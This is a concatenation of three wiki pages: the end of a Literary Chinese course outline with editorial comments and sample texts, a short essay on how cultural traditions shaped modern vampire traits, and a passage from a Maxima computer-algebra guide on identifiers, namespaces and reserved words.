一是忠实记录了汉诗创作与古壮字交融的文化现象。清代壮族诗人张鸿翮（hé）《大塘谣》（《峤西诗钞》卷二）云：

去了休。去到大塘红蓼洲。红蓼生花，不结子。绿朴生花，毬见毬。

诗中所说“绿朴”，是壮族对柚子的惯称。“柚子”，壮语发音为“bug”。根据《古壮字字典》，其对应的古壮字为“朴（㭪）”。诗人将古壮字运用到汉文诗歌创作中，刻下了明清壮汉文化交相辉映的注脚。

This sort of thing is why Zhuang and Tangut inclusion is important, as they show how flexible Literary Chinese can be. ---&gt;

===Unit 15: People Focus - Tangut peoples===
&lt;!--- 羅福萇 and 羅振玉 wrote studies on Western Xia / Tangut script. Look for poets and stuff. ---&gt; 

===Unit 16: Literary Chinese in the Military===
&lt;!--- Real Sun Zi hours! 7 Military Classics are an obvious shout, but look for more stuff too. ---&gt;
# [[/Fū! Rin! Ka! Zan!/]]
# [[/A Bilingual Stele of the Khitans/]]
# [[/Going to war with Boyan/]]
&lt;!---
Boyan's Poem from the 元史
　　伯顏，蒙古巴林部人。至元十一年拜中書左丞相，總兵伐宋。官至開府儀同三司，薨贈太師，封淮安王，諡忠武。

　　《玉堂嘉話》：初，宋未下時，江南謠云：「江南若破，白雁來過。」當時莫喻其意。及宋亡，蓋知指丞相巴延也。

　　過梅嶺岡留題

馬首經從庾嶺回 【 庾嶺回　七修類稿（乾隆刊本）卷四十六作「嶺島歸」。】 ，王師到處悉平夷。擔頭不帶江南物，只插梅花一兩枝。

　　《七修類藳》：伯顏下江南，過金陵梅嶺岡詩云云。所以著名，亦有是善。
---&gt;
# [[/An Edict from the Xianbei/]]
# [[/The Suppression of the Kingdom of Dongning/]]
&lt;!---
台灣鄭氏始末
https://ctext.org/wiki.pl?if=en&amp;chapter=139938

Largely a record of wars in Dongning rather than anything about the trade etc, so it fits here. 
---&gt;
# [[/The Shunzhi Emperor vs Li Zicheng/]]
# [[/The Art of War/]]

===Unit 17: Nation Focus - Vietnam===
# [[/Đỗ Pháp Thuận and the Southern Skies/]]
# [[/Ancestor Veneration with the Descendants of Zhu Xi/]] 
&lt;!--- https://github.com/ShiraTheMogul/fanyahanwen-corpus/tree/main/corpus%2F%E8%B6%8A%E5%8D%97%E6%BC%A2%E6%96%87%2Fclean  somewhere in here ---&gt;
# [[/Resolving a Succession Crisis with Emperor Trần Minh Tông/]] &lt;!-- 南翁夢錄·黎澄 --&gt;
# [[/Spreading Revolutionary Consciousness with Phan Bội Châu and Liang Qichao/]] 
&lt;!--- 越南亡國史 Possibly the most important text in Vietnamese history, not even gonna lie. https://zh.wikisource.org/wiki/%E8%B6%8A%E5%8D%97%E4%BA%A1%E5%9C%8B%E5%8F%B2 ---&gt;
# [[/Academia in Literary Chinese between East and West/]] 
&lt;!--- 南風雜誌 is a massive shout here. Absolutely amazing series. ---&gt;

===Unit 18: Historical Annals and Encyclopediae===
&lt;!--- 永樂大典 will teach how to infer from gaps in texts! 《編類》 is an incredibly interesting essay from here that can bring up the odes and Confucius's「思無邪」quote. It can prepare students for the wrath of Qing academia later. ---&gt; 
# [[/An Introduction to Biographical Paintings/]]
&lt;!-- 
Many older paintings include biographies at the top in Literary Chinese. Students need to learn these.
https://commons.wikimedia.org/wiki/File:%E6%AD%B7%E4%BB%A3%E8%81%96%E8%B3%A2%E5%8D%8A%E8%BA%AB%E5%83%8F_%E5%86%8A_%E8%AB%B8%E8%91%9B%E4%BA%AE_(Zhuge_Liang).png - Famous figure, also part of a very notable series.
https://commons.wikimedia.org/wiki/File:Otomo-Sorin-2.jpg - Contains the Japanese repetition character 々
https://commons.wikimedia.org/wiki/File:Toyotomi_hideyoshi4.jpg - simply has aura
--&gt;
# [[/The History of Liao, Jin, and Song with Toqto'a/]] &lt;!--- 脱脱 ---&gt;
# [[/Two Years in the Forbidden City with Yu Deling/]] &lt;!--- 清宮禁二年記 https://zh.wikisource.org/wiki/%E6%B8%85%E5%AE%AE%E7%A6%81%E4%BA%8C%E5%B9%B4%E8%A8%98 ---&gt;
# [[/Selected Records of the History of the Da Shun/]]
&lt;!--- Fair Use of a 2010 book written in Literary Chinese about the Da Shun dynasty. Limit to 500 characters, if that. Use to encourage recognition of Simplified variants and modern Wenyanwen. ---&gt;
# [[/Documenting the World with Terajima/]]
&lt;!--- 和漢三才図会 寺島良安, built off 三才圖會 ---&gt;

===Unit 19: Buddhist Literature===
&lt;!--- You would be forgiven for wondering why this is so late, but if you look at many classical Buddhist texts you'll quickly see a ton of loanwords that make it significantly more difficult to read than the average text. Thus, it goes here for now. ---&gt;
&lt;!--- Place focus on practical stuff first. Stuff you can and WILL see in Buddhist temples. Stuff Buddhists can take away immediately. Skills-based approach feels strongest here. ---&gt;
&lt;!--- Look at Northern Liang and Later Qin literature, as there is a ton of work by translators from India during the 16 kingdoms period, particularly those two. ---&gt;
&lt;!--- Stuff by Bodhidharma 達摩 could be fun too https://zh.wikisource.org/wiki/Author:%E9%81%94%E6%91%A9 ---&gt;
# [[/Dipping your feet in with Wenyan Shu/]]
&lt;!---
華亭
世尊遺法本忘言，教外別傳意已圓。
只履攜將蔥嶺去，不妨來上月明船。
---&gt; 
# [[/Buddhism in Battle Standards/]]
# [[/The Seven Tathagatas/]] 
&lt;!---
南無寶勝如來
南無多寶如來
南無妙色身如來
南無廣博身如來
南無離怖畏如來
南無甘露王如來
南無阿彌陀佛

Use to introduce some core vocabulary in repetitive manner. 

Useful phrases from my trip to Jing'an Temple
南無本師釋迦牟尼佛 - Pay homage to the root teacher
南無大悲觀世音菩薩 - Pay homage to the goddess of mercy 
廣種福田 - widely plant a meritorious field 
---&gt;
# [[/Two Buddhist Temples in Shanghai/]] 
&lt;!---
留雲禪寺
雲留雲翔領畧幾許禪機此地有雲散天開真如界。
塔內塔外普示無邊圓覺是故曰塔影雙照解脫門。

歲次壬午冬月吉旦。
覺醒敬撰。
楊胡生沐手恭書。
善信印利明敬獻。 
---&gt;
&lt;!--- 福慧宝鼎 慧明大和尚 - introduce the Buddhist timekeeping system with 佛歷 around this point. 
赤烏古剎
建寺一千七百六十周年紀念

古剎三國建
滬瀆有重玄
石佛音淨現
聖跡顯重元
唐時稱永泰
宋敕名靜安
聖祖留佛闡
仲師移伽藍
元收八景偈
明鑄鐘聲梵
清樹化羅漢
選賢十方讚
佛日普光明
福慧共修善
鼎運昌隆際
轉正法輪緣

歲次丁亥住持慧明監製
---&gt;
# [[/Foreseeing Monkhood with Yi Xing/]]
&lt;!--- 看命一掌金 ---&gt;
# [[/A Trip to Western Xia with Zhi Guang and Hui Zhen/]]
&lt;!--- https://zh.wikisource.org/wiki/%E5%AF%86%E5%91%AA%E5%9C%93%E5%9B%A0%E5%BE%80%E7%94%9F%E9%9B%86 ---&gt;
&lt;!--- https://zh.wikisource.org/wiki/%E5%AF%86%E5%92%92%E5%9C%93%E5%9B%A0%E5%BE%80%E7%94%9F%E9%9B%86 ---&gt;
# [[/Jizang's Three Discourses/]]
&lt;!--- https://zh.wikisource.org/wiki/%E4%B8%89%E8%AB%96%E7%8E%84%E7%BE%A9 ---&gt;
&lt;!---
I saw these texts being quoted and thus should consider them in some capacity.
《般若波羅蜜多心經》
《金剛般若波羅蜜經》
《一切智光明仙人慈心因緣不食肉經》
《妙法蓮華經》
《大般涅槃經》
《大方等大集經》
《大毘盧舍那成佛神變加持經蓮華胎藏悲生曼荼羅廣大成就儀軌供養方便會》/ 胎藏曼荼羅 
《佛說救拔焰口餓鬼陀羅尼經》
《雜阿含經》

Look at Japan's 五山文学
---&gt;

===Unit 20: People Focus - Manchu peoples===
# [[/Qing dynasty Poetry with Nara Singde/]] 
&lt;!--- 飲水詞 納蘭性德 https://zh.wikisource.org/wiki/Author:%E7%B4%8D%E8%98%AD%E6%80%A7%E5%BE%B7 ---&gt;
# [[/Amassing Words with the Kangxi Emperor/]] 
# [[/Amassing Literature with the Qianlong Emperor/]] 
&lt;!--- Siku Quanshu abstract https://zh.wikisource.org/wiki/%E5%9B%9B%E5%BA%AB%E5%85%A8%E6%9B%B8%E7%B8%BD%E7%9B%AE%E6%8F%90%E8%A6%81 ---&gt;
&lt;!---
Yongzheng Emperor's Poetry 
https://zh.wikisource.org/wiki/Author:%E9%9B%8D%E6%AD%A3%E5%B8%9D
《和碩怡賢親王祭文》

Also include 滿洲國 stuff to show the fall of the Qing and attempts to preserve it through becoming a Japanese puppet state. It is important to show how Literary Chinese can be misused as well. 滿洲國建國宣言 is a good shout, as is 法制 to prepare students who may be interested in Taiwan legal stuff later down the road. 
https://zh.wikisource.org/wiki/Category:%E6%BB%BF%E6%B4%B2%E5%9C%8B
---&gt;
# [[/Paintings and Beauty with Puru Aisin-Gioro/]]
&lt;!--- Saw these in Shanghai Museum with some writing, seemed really cool. Teaches another skill. ---&gt;

===Unit 21: Qing-RoC Literature===
&lt;!--- many writers here, will be difficult to sift through. Include 四库全書 abstracts and stuff here. ---&gt;
# [[/Jewish Refugees in Shanghai/]] 
&lt;!--- Show passports, certificates, etc, from the Jewish Refugee Museum, anonymised. ---&gt;
# [[/A Literary Chinese Abstract/]] 
&lt;!--- Abstracts from siku quanshu, probably want others ---&gt;
# [[/Lament with Lu Ruoteng/]] 
&lt;!---
《疑猜》盧若騰，東寧國
盟誓變為交質子，春秋戰國風如此；末世上下相疑猜, 更質妻子防逃徙。
此法只可羈庸奴，若遇梟雄術窮矣；妻可再娶子再育, 安能長坐針氈裏。
我贈一法君記存；推心置腹人知恩；眾人畜之眾人報, 幾個國士在君門。
盧若騰撰，陳漢光編輯，《島噫詩》，臺灣文獻叢刊第二四五種（臺北:臺灣銀行經濟研究室，1968年）21頁。
---&gt;
# [[/Common Linguistics Knowledge in the RoC/]]
&lt;!--- 音韻常識 ---&gt;

==References used for this page==
* Yang, B. (2016). 文言语法 [Literary Chinese Grammar] (1st ed). 中华书局 [Zhonghua Book Company]. ISBN: 978-7-101-11619-9
* Priestley, K. E., &amp; Shou-jung, C. (1962). China’s Men of Letters, Yesterday and Today. Dragonfly Books.
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    <title>Create Vampires/HowCulturalTraditionsShapedVampireTraits</title>
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      <text bytes="4844" sha1="g3ocjzwdrx0lrkpx2sn6vtsgtd36bu2" xml:space="preserve">'''How Cultural Traditions Shaped Modern Vampire Traits:'''

A cultural warning, from the Ewe people, against malaria caused by mosquitoes, probably created a vampire-like insect (firefly) that sucks blood and can bring illness, or death.

Poor understanding of decay in humans, such as the appearance of hair and nail growth, gassy corpses emitting sounds, and the appearance of blood around the mouth, caused by processes active during death, lends credence to the belief that the dead were still somewhat alive. This belief may have translated into vampire traits whereby vampires have bodies, instead of being clear like ghost, and were reanimation of the dead.

Perhaps Christianity culturally shaped many vampire weaknesses. For example, crosses and holy water were symbols of divine protection. Garlic was used as a protective herb, while a belief that iron and silver may block harmful spirits could be the reason that vampires avoid silver which harms them. Vampires were repelled by garlic, and vampires feared crosses and holy water.

Eastern Europeans experiences of blood loss, atrophy, and loss of energy may have been interpreted as attacks from vampires. Perhaps this fear developed into vampire traits such as vampirism that spreads like a disease, or a virus, and the method by which vampires feed: on blood. 

Many cultures evolved myths about nighttime activities. Night time is less lit. The night has been associated with danger and the unknown. Vampires are active at night, they avoid the sunlight, which can often burn them alive. They are associated with predatory behavior, and darkness. The nachzehrer and the strigol are also associated with night time dwellers. 

Romantic and Gothic literature transformed the vampire from reddish colored and bloated, to pale and thin. Vampires were transformed from a dead body, to a charming being, possessing a high level of charisma. As Romantic and Gothic writers explored themes such as forbidden desire, sexuality, power, the boundary between life and death and immortality, vampires developed slow aging characteristics, magnetic allure, possessed immortality and existed somewhere between life and death, thus un-dead. The romantic qualities possessed by some vampires blur the lines between threat and attraction.

{| class=&quot;wikitable&quot;
|+ Cultural Contributions to Modern Vampire Traits
|-
! Culture / Region || Traditional Being(s) || Key Traits Contributed || How These Traits Shaped the Modern Vampire
|-
| Eastern Europe (Slavic, Romanian, Balkan) || Strigoi, Upir, Moroi, Vrykolakas || Reanimated corpse; nocturnal attacks; blood‑drinking; contagion; returning from the grave || Forms the core of the modern vampire: undead body, feeding on blood, spreading vampirism, rising from the grave
|-
| Western Europe (Germanic, Celtic) || Nachzehrer, Draugr || Corpse that harms the living; grave‑associated revenants; physical strength || Reinforces the idea of vampires as physically present, dangerous, and tied to burial practices
|-
| Middle East (Arabian, Turkish) || Ghul, Alp || Nocturnal predation; draining life or vitality; shape‑shifting|| Adds predatory stealth, dream‑draining, and the idea of supernatural feeding beyond blood
|-
| Africa (West African traditions) || Asanbosam, Obayifo, Adze || Tree‑dwelling predators; energy‑draining; witch‑like feeding || Influences modern “energy vampire” concepts and non‑blood feeding variations
|-
| China || Jiangshi || Reanimated corpse; stiff movement; qi‑draining; nocturna || Contributes the idea of life‑force draining and corpse‑like rigidity
|-
| Southeast Asia (Malaysia, Philippines, Indonesia) || Penanggalan, Manananggal, Pontianak|| Female vampiric beings; night feeding; organ‑detachment; blood consumption || Shapes modern horror depictions of female vampires and body‑separation motifs
|-
| India || Vetala, Rakshasa || Spirit‑possession; corpse animation; predatory behavior || Adds psychological manipulation and possession themes to vampire fiction
|-
| Caribbean|| Soucouyant || Skin‑shedding; night feeding; fireball form || Influences shapeshifting and supernatural transformation tropes
|-
| Mesoamerica (Mexico || Tlahuelpuchi || Shape‑shifting; nocturnal feeding; hereditary vampirism || Contributes hereditary or “born vampire” concepts
|-
| Modern Western Literature (18th–19th century) || Polidori’s Vampyre, Le Fanu’s Carmilla, Stoker’s Dracula || Seduction; aristocracy; immortality; aversion to sunlight; sophisticated predator|| Establishes the literary vampire: charismatic, immortal, romanticized, and culturally iconic
|}
Vampire-like creatures appear in many shapes, in many fictional stories, yet they retain a similar core. They are depicted as beings that drain life, prey on the living, and exist between worlds.

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  <page>
    <title>Maxima/Identifiers</title>
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      <text bytes="28229" sha1="tnxxctz11ta20jglygvys9sowh9j35o" xml:space="preserve">&lt;blockquote&gt; ''&quot;One '''quick way''' to check on '''name conflicts''' is to keep the html Maxima help manual up in a separate window, and have the Index panel available to type in a name you want to use. 
   The '''painful way''' to check on name conflicts is to wait for Maxima to give you a strange error message as to why what you are trying to do won’t work. If you get strange results, try changing the names of your variables and or functions. An important fact is that Maxima is case sensitive, so  you can avoid name conflicts by capitalizing the names of your user defined Maxima functions. Your Solve will not conflict with Maxima’s solve.''&quot;&lt;ref&gt;[https://web.csulb.edu/~woollett/mbe1intro.pdf Maxima by Example: Ch. 1, Introduction to Maxima by Edwin L. Woollett]&lt;/ref&gt; 

– Edwin L. Woollett
&lt;references responsive=&quot;1&quot;&gt;&lt;/references&gt;
&lt;/blockquote&gt;

== The Maxima Namespace ==
The topic of the namespace system used by Maxima is in a sense more relevant to programming expressions. However, since the nature of the Maxima namespace system is also relevant to Maxima ''identifiers'' as used in this book, and also as used routinely in the composition of Maxima expressions in general, and particularly mathematical expressions, some of the technical detail is provided here for the purpose of describing the role of identifiers. 

It is worth repeating here that in this book, for reasons of simplicity, the use of the term '''''identifier''''' is meant to encapsulate names used for various purposes as described below. 
The Maxima CAS namespace system is best characterized as '''case-sensitive''' for user-defined identifiers but '''case-insensitive''' (normalized to lowercase) for built-in operators (functions) and constants, with a '''flat global namespace''' for identifiers:

* '''Case Sensitivity''': Maxima provides a '''case-sensitive''' namespace system where identifiers, functions, and operators are distinct entities based on their spelling. Maxima distinguishes between upper and lower case for user-defined identifiers and functions; for example, &lt;code&gt;foo&lt;/code&gt;, &lt;code&gt;Foo&lt;/code&gt;, and &lt;code&gt;FOO&lt;/code&gt; are treated as distinct identifiers.
* '''Built-in Normalization''': All built-in operators (e.g., &lt;code&gt;sin&lt;/code&gt;, &lt;code&gt;cos&lt;/code&gt;) and constants (e.g., &lt;code&gt;%e&lt;/code&gt;, &lt;code&gt;%pi&lt;/code&gt;) have '''lowercase''' names only.  Typing &lt;code&gt;SIN(x)&lt;/code&gt; or &lt;code&gt;Sin(x)&lt;/code&gt; causes Maxima to assume the user is referring to a user-defined function rather than the built-in sine function.
* '''Namespace Structure''': The system uses a '''single global namespace''' where identifiers and functions persist until the session ends or are explicitly removed (e.g., via the &lt;code&gt;kill&lt;/code&gt;&lt;code&gt;()&lt;/code&gt; command).  There is no modular scoping for standard identifiers.


However, Maxima maintains specific exceptions for predefined mathematical operators (functions) and constants:

* '''Built-in''' '''(predefined) operators (functions)''' (e.g., &lt;code&gt;sin&lt;/code&gt;, &lt;code&gt;cos&lt;/code&gt;, &lt;code&gt;log&lt;/code&gt;) are mapped to '''uppercase''' versions internally (e.g., &lt;code&gt;SIN&lt;/code&gt;, &lt;code&gt;COS&lt;/code&gt;), allowing users to call them with either case, though lowercase is recommended for clarity. 
* '''Built-in constants''' (e.g., &lt;code&gt;%e&lt;/code&gt;, &lt;code&gt;%pi&lt;/code&gt;, &lt;code&gt;%i&lt;/code&gt;, &lt;code&gt;%gamma&lt;/code&gt;) are strictly '''lowercase''' and must be entered exactly as such. 
* '''System''' '''names''' related to session history (input or output '''''labels''''') also use the &lt;code&gt;%&lt;/code&gt; prefix and are case-sensitive. 

Users are advised to use '''lowercase''' for user-defined names and functions to ensure readability and avoid conflicts with the internal uppercase mapping of standard mathematical operators.

The namespace system in Maxima is fundamentally built upon its underlying Lisp implementation, creating a unique environment where case sensitivity, symbol translation rules, and special prefixes dictate how values for identifiers and functions are stored and accessed. 
The namespace utilizes '''dynamic scoping''' rather than lexical scoping for most operations, which impacts variable visibility and modification:

'''Dynamic Scope''': Identifiers defined outside a function are global in scope and can be inadvertently modified by functions if the identifiers are the same, unless explicitly made local. 

For instance, a loop identifier &lt;code&gt;i&lt;/code&gt; in a global context might be overwritten by a function using &lt;code&gt;i&lt;/code&gt; if not properly scoped. A reference to a defined Maxima function accesses the values of identifiers based on the environment of the function that exists at the point of reference. If an identifier local to the function exists, the value of that identifier is used. 

Otherwise, Maxima will attempt to find the value of the referenced identifier outside of the the local scope of the function in the global namespace. This means that identifiers are by default global in scope, and that users must account for this contingency when defining and referencing functions. Refer to the Maxima documentation for the descriptions of the &lt;code&gt;'''block''' '''( )'''&lt;/code&gt; and &lt;code&gt;'''local''' '''( )'''&lt;/code&gt; operators for information related to the scope of identifiers.

'''Global Persistence''': By default, all user identifiers reside in a '''single global namespace'''. They persist until the session ends or are explicitly removed.

'''Identifier Removal Mechanisms''':
* &lt;code&gt;kill(symbol)&lt;/code&gt;: Completely removes the value, function definition, array, and properties of an identifier.
* &lt;code&gt;remvalue(symbol)&lt;/code&gt;: Removes only the assigned value of the identifier, leaving function definitions or array properties intact.
* &lt;code&gt;kill(all)&lt;/code&gt;: Clears all user-defined identifiers from the namespace. The operator  &lt;code&gt;reset&lt;/code&gt; is used to reset internal Maxima built-in global &quot;flags&quot; or option identifiers to their defaults.
== Identifiers ==
'''Symbols''', '''variables''', and '''identifiers''' do not technically refer to the same thing in Maxima, though they are closely related and often overlap in the way to which they are referred in typical use. Here is the breakdown of how Maxima distinguishes between them:

'''Identifiers (names)'''

''Identifiers'' are syntactic names. They are the characters ''users choose'' as names, or have been chosen as built-in. Identifiers typically name '''variables''', '''functions''', '''labels''', '''operators'''.

'''Symbols (objects in memory)'''

The underlying  programming language of Maxima is Lisp. A ''symbol'' is a fundamental data type in Lisp. When Maxima parses an expression and encounters an identifier, Maxima refers to or creates a corresponding symbol object &quot;under the hood&quot; in Lisp. These symbol objects can hold a value, a function definition, and various properties (like whether it is declared integer, constant, etc.) all at the same time. 

&lt;u&gt;Example&lt;/u&gt;: The identifier named &lt;code&gt;x&lt;/code&gt; refers to the symbol object &lt;code&gt;x&lt;/code&gt; which may have a value of itself, or an expression that is a different value, and also declared properties.

'''Variables (symbols with role that references values or properties)'''

''Variables'' are symbols being used to store or represent an expression value that ''can'' ''be'' changed. When a symbol is encountered that has an expression value that can be changed ( a variable in the programming sense of the term), but the expression value is simply the name of the symbol itself, then it can be considered a variable in the ''mathematical sense of the word''.

When a symbol is encountered that has an expression value that can be changed ( a variable in the programming sense of the term), but the expression value is some expression other than the name of the symbol itself, then it should not be considered a variable in the mathematical sense of the word. Rather the symbol in this case, although a variable because it is a symbol that ''can be'' changed, serves simply as a name for its value – an alias. 

&lt;u&gt;Example&lt;/u&gt;&lt;u&gt;s&lt;/u&gt;: 

&lt;code&gt;x + 1&lt;/code&gt;

The value of the expression &lt;code&gt;x + 1&lt;/code&gt; depends on the value of &lt;code&gt;x&lt;/code&gt;.

If &lt;code&gt;x&lt;/code&gt; has a value of itself (&lt;code&gt;x&lt;/code&gt; is &lt;code&gt;x&lt;/code&gt;) then the identifier &lt;code&gt;x&lt;/code&gt; names a symbol that can be changed – it is a variable – and therefore it is a variable in the programming sense of the term, and can be considered a variable in the mathematical sense of the term.

&lt;code&gt;x : 5&lt;/code&gt;

&lt;code&gt;x + 1&lt;/code&gt; is &lt;code&gt;6&lt;/code&gt;

If &lt;code&gt;x&lt;/code&gt; has a value other than itself (&lt;code&gt;x&lt;/code&gt; is &lt;code&gt;5&lt;/code&gt;) then the identifier &lt;code&gt;x&lt;/code&gt; names a symbol that can be changed – it is a variable – and therefore it is a variable in the programming sense of the term, but should not be considered a variable in the mathematical sense of the term.
{| class=&quot;wikitable&quot;
|+Comparison
!Concept
!What it is
!Maxima Examples
!Analogous to
|-
|Identifier
|characters read as Maxima input
|&lt;code&gt;name&lt;/code&gt;
|''name'' of a person on a name tag
&quot;Hi! My ''name'' is John.&quot;
|-
|Symbol
|underlying data object in memory
|entity ''name'' which can have properties, values, or functions associated with it
|an ''actual person'' wearing a name tag
|-
|Variable
|role a symbol has for representing a value
|/* &lt;code&gt;name&lt;/code&gt; symbol has the value ''name'' */
&lt;code&gt;name;&lt;/code&gt; 
/* &lt;code&gt;name&lt;/code&gt; symbol has the value ''&quot;John&quot;'' */

&lt;code&gt;name : &quot;John&quot;;&lt;/code&gt; 
| - ''some'' ''variable'' 
person acting in some job role
- a ''specific'' 
person acting in their job role
|}

===== Why these distinctions matter in Maxima =====
Because Maxima is a computer algebra system (CAS), and not a general-purpose programming language, you can refer to ''symbols'' without assigning values to them. For example:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i1) x + x;
(%o1) 2*x
&lt;/syntaxhighlight&gt;In this example, &lt;code&gt;x&lt;/code&gt; is an identifier associated a symbol with no assigned value, and consequently may act as a mathematical variable. These distinctions also matter due to the fact that these terms are commonly used in the Maxima Manual and elsewhere.

Sometimes understanding these distinctions matter, sometimes they don't matter, and sometimes they are used synonymously – for better or worse. In any case, in the context of typical usage, identifiers are used to compose Maxima expressions, and expressions, particularly mathematical expressions, are what matters most from the Maxima user point of view.


''Names'', ''symbols'', ''words'', ''variables'', ''constants'', ''literals'', ''labels'', ''flags'', ''options'', and ''identifiers'' are all technical terms the meaning of which may depend on the context in which these terms are used. In this book, for the sake of simplicity, at the expense of possibly being technically imprecise, the term '''''identifier''''' is used for names in the broadest practical sense as follows:
# A ''name'' that has a value of itself – (a is a) is true, or
# A ''name'' that has a value of an expression other than itself – (a is b) and (a is not a) is true.
&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i1)	y; /* The value of y is y, y is a name for itself. */
(%o1)	y

(%i2)	y : f(x); /* y is assigned an expression  */
(y)	f(x)

(%i3)	y; /* The value of y is f(x), y is a name for f(x). */
(%o3)	f(x)
&lt;/syntaxhighlight&gt;This means that in this book, ''identifiers'' refer to ''names'' for: symbols, words, variables, constants, literals, labels, flags, options, and so forth, and that if distinctions are necessary, it should be provided by the context in which the term ''identifier'' is used.

=== Reserved Words ===
The Maxima Manual provides the following caveat regarding '''''reserved words''''':&lt;blockquote&gt;&quot;There are a number of reserved words which should not be used as variable names. Their use would cause a possibly cryptic syntax error.&quot;&lt;/blockquote&gt;
 integrate            next           from                 diff            
 in                   at             limit                sum             
 for                  and            elseif               then            
 else                 do             or                   if              
 unless               product        while                thru            
 step                                                                     
Apart from these Maxima reserved words, there is relative freedom in the choice of identifiers.

=== &lt;u&gt;Identifier Composition Rules&lt;/u&gt;: ===
Maxima identifiers follow specific lexical rules:

* '''Allowed Characters''': Alphabetic characters (&lt;code&gt;A-Z&lt;/code&gt;, &lt;code&gt;a-z&lt;/code&gt;), digits (&lt;code&gt;0-9&lt;/code&gt;), and the underscore (&lt;code&gt;_&lt;/code&gt;). 
* '''Special Characters''': Any special character can be included if preceded by a backslash (&lt;code&gt;\&lt;/code&gt;). For example, &lt;code&gt;a\+b&lt;/code&gt; is a valid single identifier. 
* '''Starting with Digits''': An identifier can start with a digit if escaped (e.g., &lt;code&gt;\1st_var&lt;/code&gt;).
* '''Unicode Support''': Modern versions of Maxima (and specifically interfaces like ''wxMaxima'') support Unicode characters in identifiers, treating them as alphabetic characters without needing escape sequences, '''''provided the underlying Lisp and font support them'''''.
* '''Characters Declared Alphabetic''': The &lt;code&gt;declare (''character'', alphabetic)&lt;/code&gt; operator can be used to in order to use a ''character'' in composing an identifier that otherwise would not be considered as alphabetic.
It seems to be the case that, unless otherwise noted, there are no naming conventions or a style guide for Maxima. So in general, it is up to the user to decide on the composition of identifiers.

Note that identifiers may be used that are one or more characters that comprise the alphabetic characters, plus the digits 0 through 9, plus any other character preceded by the backslash ( &lt;code&gt;\&lt;/code&gt; ) escape character including the space character. Note however, that the &lt;code&gt;\&lt;/code&gt; must be entered for each reference to the identifier.

A numeral may be the first character of an identifier if it is preceded by a backslash. Numerals which are the second or later characters need not be preceded by a backslash.

The alphabetic characters are initially %, _, and the lower and upper case letters of the alphabet - that is, all characters for which the Lisp function &lt;code&gt;ALPHA-CHAR-P&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt;.

Characters may be declared alphabetic by the  &lt;code&gt;declare (''character'', alphabetic)&lt;/code&gt;  operator. If so declared, they need not be preceded by a backslash in an identifier. However, the use of the  &lt;code&gt;declare (''character'', alphabetic)&lt;/code&gt;  operator may cause unintended and unwanted side effects depending on the character, so this operator for this purpose should be used with that in mind if at all.

=== &lt;u&gt;Atoms and Symbols&lt;/u&gt; ===
As discussed,the term ''symbol'' and ''identifier'' are frequently used in the context of ''names''. The use of the term ''symbol'' can be attributed, as much else in Maxima, to its Lisp orientation. In Maxima, &lt;code&gt;atom()&lt;/code&gt; and &lt;code&gt;symbolp()&lt;/code&gt; serve different purposes regarding object classification, though their outputs often overlap for names. 

* &lt;code&gt;atom(v)&lt;/code&gt; returns true if &lt;code&gt;v&lt;/code&gt; is an atom and false otherwise.  In Maxima, atoms include numbers, strings, names (symbols), and &lt;code&gt;nil&lt;/code&gt;. Expressions (which have an operator and arguments) are not atoms. For example, &lt;code&gt;atom(5)&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, &lt;code&gt;atom(x)&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, but &lt;code&gt;atom(x+1)&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt; because it is an expression with the operator &lt;code&gt;+&lt;/code&gt;.
* &lt;code&gt;symbolp(v)&lt;/code&gt; returns true only if &lt;code&gt;v&lt;/code&gt; is a symbol (a name).  It returns false for numbers, strings, or any other atomic type that is not a name.  For example, &lt;code&gt;symbolp(x)&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;, but &lt;code&gt;symbolp(5)&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;.

The key difference is that &lt;code&gt;atom()&lt;/code&gt; is a broader predicate that includes symbols, numbers, and strings, while &lt;code&gt;symbolp()&lt;/code&gt; is specific to symbolic names. 

==== Examples: ====
&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
/* Atom checks */
(%i4)	atom(7); /* true: 7 is an atomic number */
(%o4)	true

(%i5)	atom(x); /* true: x is an atomic symbol */
(%o5)	true

(%i6)	atom(&quot;hello there&quot;); /* true: &quot;hello there&quot; is an atomic string */
(%o6)	true

(%i7)	atom(x+1); /* false: x+1 is an expression */
(%o7)	false

(%i8)	symbolp(7); /* false: 7 is not a symbol */
(%o8)	false

(%i9)	symbolp(\7); /* true: 7 is now a symbol */
(%o9)	true

(%i10)	symbolp(x); /* true: x is a symbol */
(%o10)	true

(%i11)	symbolp(x+1); /* false: x+1 is a not a symbol */
(%o11)	false

(%i12)	symbolp(x\+1); /* true: x\+1 is a symbol */
(%o12)	true

(%i13)	symbolp(&quot;hello there&quot;); /* false: &quot;hello there&quot; is not a symbol */
(%o13)	false

(%i14)	symbolp(hello\ there); /* true: hello\ there is now a symbol */
(%o14)	true


&lt;/syntaxhighlight&gt;

==== Summary Table: ====
{| class=&quot;wikitable&quot;
|Operator
|Returns &lt;code&gt;true&lt;/code&gt; for...
|Returns &lt;code&gt;false&lt;/code&gt; for...
|-
|&lt;code&gt;atom()&lt;/code&gt;
|Numbers, Identifiers, Strings, &lt;code&gt;nil&lt;/code&gt;
|Expressions (e.g., &lt;code&gt;x+1&lt;/code&gt;, &lt;code&gt;sin(x)&lt;/code&gt;)
|-
|&lt;code&gt;symbolp()&lt;/code&gt;
|Symbols (names of symbols)
|Numbers, Strings, Expressions, &lt;code&gt;nil&lt;/code&gt;
|}
Atoms are further categorized into integers, floats, strings, or identifiers. Use &lt;code&gt;atom()&lt;/code&gt; to distinguish between atomic data and composite expressions, and &lt;code&gt;symbolp()&lt;/code&gt; to specifically identify symbolic names.

In attempting to be technically precise in the use of these various terms, it is often the case that the user becomes immersed in a confusing sea of technical jargon. On the other hand, in attempting to be clear and simple, there is the risk that some subjective or objective technical standards fail to be met. In this book, for the sake of clarity and simplicity, the term '''''identifier''''' is used for names and symbols in the broadest practical sense.

==== Unicode Support: ====
